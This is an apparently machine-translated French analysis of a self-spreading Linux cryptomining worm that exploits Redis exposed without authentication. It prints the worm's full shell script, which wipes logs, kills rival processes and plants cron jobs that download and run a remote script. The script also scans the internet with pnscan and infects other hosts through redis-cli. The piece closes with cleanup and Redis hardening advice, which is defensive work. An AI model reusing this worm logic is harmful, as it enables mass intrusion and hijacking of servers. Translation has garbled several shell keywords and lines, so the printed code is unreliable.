Analyse des instances de vers d'infection minière automatisée Linux Redis

　1. Contexte

Depuis la divulgation de la méthode d'attaque permettant d'obtenir les autorisations root du système Linux en raison du problème non autorisé de Redis, en raison de sa facilité d'utilisation, les pirates ont utilisé ce problème pour envahir les services Linux à des fins d'exploitation minière, d'analyse, etc. production noire, il existe un type d'exploitation minière qui exploite ce problème et utilise pnscan pour analyser et infecter automatiquement d'autres machines ; ce type d'attaque a toujours existé, mais il a montré une tendance croissante ces derniers temps et a été capturé à plusieurs reprises récemment ; , nous en ferons une analyse détaillée.

2. Description de la vulnérabilité

Tout d'abord, laissez-moi vous expliquer la vulnérabilité exploitée. Par défaut, Redis sera lié à 0.0.0.0:6379. Si aucun pare-feu n'est utilisé pour le blindage, le service Redis sera exposé au réseau public. dans ce cas, cela peut amener n'importe quel utilisateur à accéder à Redis sans autorisation et à lire les données Redis tout en ayant accès au serveur cible. En utilisant des méthodes liées à Redis sans autorisation pour accéder à Redis, l'attaquant peut réussir à écrire sa clé publique dans le fichier approved_keys dans le dossier ~/.ssh du serveur cible, puis se connecter directement au serveur cible s'il s'agit du service Redis ; En commençant par les privilèges root, vous pouvez utiliser ce problème pour obtenir directement les privilèges root sur le serveur.

Après une recherche sur ZoomEye et SHODAN, on constate que de nombreux services Redis sont ouverts sur le réseau public et que ces services peuvent devenir la cible d'attaques.

　 3. Analyse d'intrusion

Après avoir analysé les événements capturés, nous avons constaté que l'ensemble du processus d'intrusion inclut probablement les liens suivants : 1. Analysez le serveur Linux avec le port 6379 ouvert (le segment réseau d'analyse des infections ultérieur est 1.0.0.0/16 à 224.255.0.0/16)

2. Essayez de vous connecter à Redis via redis-cli et exécutez la commande d'utilisation prédéfinie dans le fichier .dat pour modifier le fichier de données Redis en /var/spool/cron/root, puis insérez les données dans Redis pour télécharger et exécuter le script. Action d'écriture de la tâche crontab

3. Implémentez les comportements liés ci-dessus via des scripts, terminez l'implantation et démarrez le programme minier

4. Compilez et installez à nouveau pnscan, et continuez à analyser et à infecter la cible suivante

IV. Analyse du script

La fonction principale de l'ensemble de l'intrusion et de l'infection ultérieure est basée sur le script NaNd (https://transfer.sh/MIpIA/tmp.9kIguIhkI7) téléchargé et exécuté en écrivant le problème Redis dans la tâche crontab. En l'analysant, nous pouvons. obtenez essentiellement tous les détails de l'ensemble du processus. Il s'agit d'un script de base. Nous pouvons analyser ses fonctions associées par interprétation.

1. dormir 1

2. trouver .-maxdegree 1 -name « .mxff0 » -type f -mmin +60 -delete

3. [ -f .mxff0 ] && quitte 0

4. écho 0 > .mxff0

Tant que cette partie du code est utilisée pour juger des exécutions répétées, utilisez le fichier .mxff0 comme fichier de marque. Si le fichier existe, cela signifie que le script a été exécuté sur la machine et quittez directement le fichier . mxff0 et passez à l'étape suivante ; 5. piège "rm -rf .m* NaNd tmp.* .r .dat $0" SORTIE

​Définissez des actions prédéfinies pour supprimer les fichiers associés et le script lui-même une fois le script terminé ;

​6. setenforce 0 2>/dev/null

7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

8. crontab -r 2>/dev/null

9. rm -rf /var/spool/cron 2>/dev/null

10. grep -q 8.8.8.8 /etc/resolv.conf || echo « serveur de noms 8.8.8.8 » >> 11. rm -rf /tmp/* 2>/dev/null

12. rm -rf /var/tmp/* 2>/dev/null

13. rm -rf /etc/root.sh 2>/dev/null

14. sync && echo 3 > /proc/sys/vm/drop_caches

15. cat < /etc/security/limits.conf

16. *nofile dur 100000

17. *nofile doux 100000

18. root nofile dur 100000

19. racine soft nofile 100000

20. *hard nproc 100000

21. *soft nproc 100000

22. root dur nproc 100000

23. root soft nproc 100000

24. EOF

Cette partie concerne principalement la modification de la configuration du système. Les lignes 6 et 7 désactivent SELINU ;

. Ensuite, effacez /var/spool/cron, puis déterminez si le serveur DNS système 8.8.8.8 existe, sinon ajoutez-le ;

11-13 Effacez le répertoire tmp du système et supprimez les fichiers associés ;

La ligne 14 efface le cache système, tandis que les lignes 15 à 24 modifient les limites des ressources système ;

25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPTER

27. ps xf | grep -v grep | grep « redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start. sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init" | pendant la lecture pid _; do kill -9 "$pid" done

Ici, iptables est en outre ajouté pour restreindre le port 6379 afin d'autoriser uniquement l'accès local. Dans le même temps, les processus liés à la suppression incluent le minage, le client Redis, le robot d'exploration et d'autres processus. Le but ici est également relativement simple, pour éviter d'être envahi par d'autres pirates. encore une fois, et pour effacer le démarrage d'éventuelles intrusions d'autres pirates informatiques ;

. 28. rm -rf /tmp/* 2>/dev/null

29. rm -rf /var/tmp/* 2>/dev/null

30. echo 0 > /var/spool/mail/root

31. echo 0 > /var/log/wtmp

32. echo 0 > /var/log/secure

33. echo 0 > /root/.bash_history

Effacer les journaux de connexion associés et l'historique des opérations de commande ;

34. YUM_PACKAGE_NAME=”iptables gcc redis coreutils bash curl wget”

35. DEB_PACKAGE_NAME=”coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl”

36. si cat /etc/*release | grep -i CentOS alors

37. miam, nettoyez tout

38. miam install -y -q epel-release

39. miam install -y -q $YUM_PACKAGE_NAME

40. elif cat /etc/*release | grep -qi Rouge alors

41. miam, nettoyez tout

42. miam install -y -q epel-release

43. miam install -y -q $YUM_PACKAGE_NAME

44. elif cat /etc/*release | grep -qi Fedora alors

45. miam, nettoyez tout

46. ​​​​​​miam install -y -q epel-release

47. miam install -y -q $YUM_PACKAGE_NAME

48. elif cat /etc/*release | grep -qi Ubuntu alors

49. export DEBIAN_FRONTEND=noninteractive

50. rm -rf /var/lib/apt/lists/*

51. apt-get update -q –fix-missing

52. pour PACKAGE dans $DEB_PACKAGE_NAME ; do apt-get install -y -q $PACKAGE done

 ; 53. elif cat /etc/*release | grep -qi Debian alors

54. export DEBIAN_FRONTEND=noninteractive

55. rm -rf /var/lib/apt/lists/*

56. apt-get update –fix-missing

57. pour PACKAGE dans $DEB_PACKAGE_NAME ; do apt-get install -y -q $PACKAGE done

 ; 58. elif cat /etc/*release | grep -qi Mint alors

59. export DEBIAN_FRONTEND=noninteractive

60. rm -rf /var/lib/apt/lists/*

61. apt-get update –fix-missing

62. pour PACKAGE dans $DEB_PACKAGE_NAME ; do apt-get install -y -q $PACKAGE done

 ; 63. elif cat /etc/*release | grep -qi Knoppix alors

　64. export DEBIAN_FRONTEND=noninteractive

65. rm -rf /var/lib/apt/lists/*

66. apt-get update –fix-missing

67. pour PACKAGE dans $DEB_PACKAGE_NAME ; do apt-get install -y -q $PACKAGE done

 ; 68. ailleurs

69. sortie 1

70. fi

71. dormir 1

72. si ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); 73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12

74. dormir 1

75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

76. fi

L'objectif principal de cette longue liste de contenu est de télécharger, compiler et installer pnscan. À partir du contenu, nous pouvons voir le jugement des différents systèmes d'exploitation, puis installer les modules dépendants, puis télécharger le code source de pnscan depuis github pour compilation. et l'installation ; quant à la raison pour laquelle il est compilé et installé. On suppose qu'il est compatible avec différents systèmes et le MD5 de pnscan généré par chaque compilation est différent pour éviter la formation de caractéristiques fixes ;

77. tname=$( mktemp )

78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

​80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

​81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

Cette partie consiste principalement à télécharger le programme de minage et à le renommer en .gpg, à ajouter des autorisations d'exécution, à le supprimer après exécution et à le re-télécharger sur https://transfer.sh/ pour obtenir un nouveau lien ;

82. [ -z « $NMURL » ] && NMURL=$OMURL

83. ncmd=$(nom de base $(mktemp))

84. sed 's|'"$OMURL"'|'"$NMURL"'|g' < ​85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

86. echo 'flushall' >

87. echo 'config set dir /var/spool/cron' >> 88. echo 'config set dbfilename root' >> 89. echo 'set Backup1 "tn*/2 * * * * curl -s '${NSURL}' > NaNd && bash NaNdnt"' >> 90. echo 'set Backup2 "tn*/5 * * * * wget -O NaNd '${NSURL}' && bash NaNdnt"' >> 91. echo 'set Backup3 "tn*/10 * * * * lynx -source '${NSURL}' > NaNd && bash NaNdnt"' >> 92. echo 'enregistrer' >> 93. echo 'config set dir /var/spool/cron/crontabs' >> 94. echo 'enregistrer' >> 95. echo 'sortie' >> Cette partie du contenu génère principalement un nouveau fichier .dat, notamment en remplaçant l'adresse de téléchargement du programme de minage dans le script NaNd d'origine par la nouvelle adresse obtenue en téléchargeant sur https://transfer.sh/ à l'étape précédente, ainsi que comme en utilisant Redis Phrases associées de ;

96. pnx=pnscan

97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

99. pour x dans $( seq 1 224 | sort -R do

); 100. pour y dans $( seq 0 255 | sort -R do

); 101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .$x.$y.o

102. awk '/Linux/ {print $1, $3}' .r.$x.$y.o > 103. while read -r h p; 104. cat .dat | redis-cli -h $h -p $p –raw &

105. fait <.r.$x.$y.l

106. terminé

107. terminé

L'étape principale consiste à appeler pnscan pour analyser le segment de sous-réseau 1.0.0.0/16 à 224.255.0.0/16 pour le port ouvert 6379 et le système d'exploitation est Linux, puis à utiliser redis-cli pour exécuter la commande dans .dat pour passer à la prochaine infection cible ; ici, la valeur du paramètre -W de pnscan est '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' et le contenu converti est '*1rn$4rnINFOrn', qui doit envoyer une requête à le service Redis cible pour obtenir diverses informations sur le serveur Redis et des valeurs statistiques, puis utilisez la valeur du paramètre -R '6f 73 3a 4c 69 6e 75 78' (le contenu après conversion est os:Linux) pour déterminer s'il s'agit d'un Système Linux.

108. echo 0 > /var/spool/mail/root 2 >/dev/null

109. echo 0 > /var/log/wtmp 2>/dev/null

110. echo 0 > /var/log/secure 2>/dev/null

111. echo 0 > /root/.bash_history 2>/dev/null

112. sortie 0

La dernière étape est le travail de finition, en effaçant les journaux pertinents et l'historique d'exécution des commandes. En même temps, à la sortie du script, l'action prédéfinie avec piège au début du script sera déclenchée et l'opération de suppression sera effectuée. suppression des fichiers associés et du script lui-même (rm -rf m* NaNd tmp .* .r .dat $0).

En interprétant le script, nous avons fondamentalement compris le comportement et le processus d'invasion de l'ensemble du ver, qui est le processus que nous avons décrit au début.

De plus, en lisant le script, nous avons constaté que même si l'ensemble du processus d'intrusion n'est pas très compliqué, le script comporte en fait de nombreux détails « d'ingénierie » à prendre en compte, ce qui fait que les gens s'émerveillent devant la « considération approfondie » de l'intrus :

1. Utilisez le fichier .mxff0 pour une vérification répétée de l'exécution afin d'éviter une exécution répétée du script

2. Afin d'augmenter le succès, quelques prétraitements environnementaux :

a) Fermez SELINUX

b) Ajouter le DNS 8.8.8.8

c) Effacer le répertoire tmp

​d) Vider le cache système

e) Modifier les limites des ressources du système

3. Suppression des traces

a) Utilisez des actions prédéfinies de piège pour supprimer les fichiers associés et le script lui-même une fois le script exécuté

b) Effacez à plusieurs reprises les connexions associées, les autres journaux et l'historique d'exécution des commandes

4. Prévention par les pairs

a) Utilisez iptables pour empêcher l'ouverture du service Redis sur le réseau public, ce qui pourrait provoquer une autre intrusion

b) Éliminez tout comportement d'intrusion qui pourrait être laissé par vos pairs et supprimez les processus associés

5. Compatibilité du système

a) Déterminez le système d'exploitation, exécutez les commandes pertinentes de manière ciblée, installez les packages dépendants et maximisez le taux de réussite de la compilation et de l'installation de pnscan

b) Désactivez SELINUX et réalisez cela en définissant et en modifiant /etc/sysconfig/selinux

c) Écrivez la tâche de téléchargement et d'exécution du script dans Crontab, et implémentez-la via curl, wget et lynx

d) L'analyse Pnscan augmente le jugement du système d'exploitation et réduit les tentatives d'infection inutiles

6. Suppression de fonctionnalités, continuation de la survie

a) Pnscan adopte la méthode d'installation et de compilation, qui non seulement améliore la compatibilité sous différents systèmes, mais évite également la formation de fonctionnalités MD5 fixes

b) Utilisez https://transfer.sh pour transférer. Chaque infection génère une nouvelle connexion pour éviter que des liens fixes ne forment des fonctionnalités fixes

. c) Les fichiers associés téléchargés sur le système utilisent des noms de fichiers générés aléatoirement

C'est précisément grâce aux diverses « considérations réfléchies » de l'intrus que le taux de réussite de son invasion et de son infection peut atteindre un certain niveau.

​5. Suggestions de sécurité

Nettoyage des virus et récupération du système

On se réfère principalement aux comportements pertinents du script pour restaurer et supprimer les comportements correspondants :

1. Fermez SELINUX et rouvrez SELINUX en fonction de l'environnement système d'origine et des besoins de l'entreprise

2. Effacez /var/spool/cron et restaurez selon la sauvegarde d'origine

3. Modifiez /etc/resolv.conf pour ajouter le service DNS 8.8.8.8 S'il n'y a aucun impact, vous pouvez le laisser tel quel ou le supprimer

. 4. Modification des limites des ressources système (/etc/security/limits.conf), qui peuvent être restaurées en fonction de la situation de sauvegarde

5. Ajout des règles Iptables pour le port 6379. Si cela n'affecte pas l'activité, il est recommandé de le conserver

6. Supprimez les processus pertinents, vérifiez si les processus requis par l'entreprise sont inclus et restaurez en fonction de la situation

7. Les packages concernés ont été installés. Voir la liste spécifique ci-dessus. Ils peuvent être supprimés selon la situation ou conservés s'il n'y a pas d'impact. 8. Après avoir compilé et installé pnscan, vous pouvez supprimer /usr/local/bin/pnscan

9. Effacement des journaux pertinents et du répertoire tmp, ce qui n'a aucun impact sur le système et peut être ignoré

10. Démarrage du processus d'extraction et de pnscan pour rechercher une infection, processus : .gpg, pnscan, tuer directement

Il contient également des fichiers intermédiaires. Bien que le script contienne des opérations de suppression associées, il est recommandé de rechercher globalement une confirmation : .mxff0, .x112, .gpg, .dat, NaNd, .r.xx.xx.o/l, tmp. .xxxx

Renforcement du service Redis

1. Si nécessaire, modifiez l'élément de liaison. Ne liez pas Redis à 0.0.0.0 pour empêcher l'ouverture du service Redis sur le réseau externe. Vous pouvez utiliser iptables ou les utilisateurs de Tencent Cloud peuvent restreindre l'accès aux sources via des groupes de sécurité

. 2. Ne démarrez pas le service Redis en tant que root si cela n'affecte pas l'entreprise. Il est également recommandé de modifier le port par défaut 6379. La plupart des intrusions ciblant les problèmes non autorisés de Redis ciblent le port par défaut

. 3. Configurez AUTH et ajoutez la vérification du mot de passe, de sorte que même s'il est ouvert sur le réseau public, les pirates ne pourront pas accéder au service Redis pour effectuer les opérations associées à moins que le mot de passe ne soit faible

4. Utilisez rename-command CONFIG "RENAME_CONFIG" pour renommer les commandes concernées de cette manière, même si le pirate informatique se connecte au service Redis sans autorisation, il ne peut obtenir que les données pertinentes sans connaître la commande, mais ne peut pas l'exploiter davantage

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!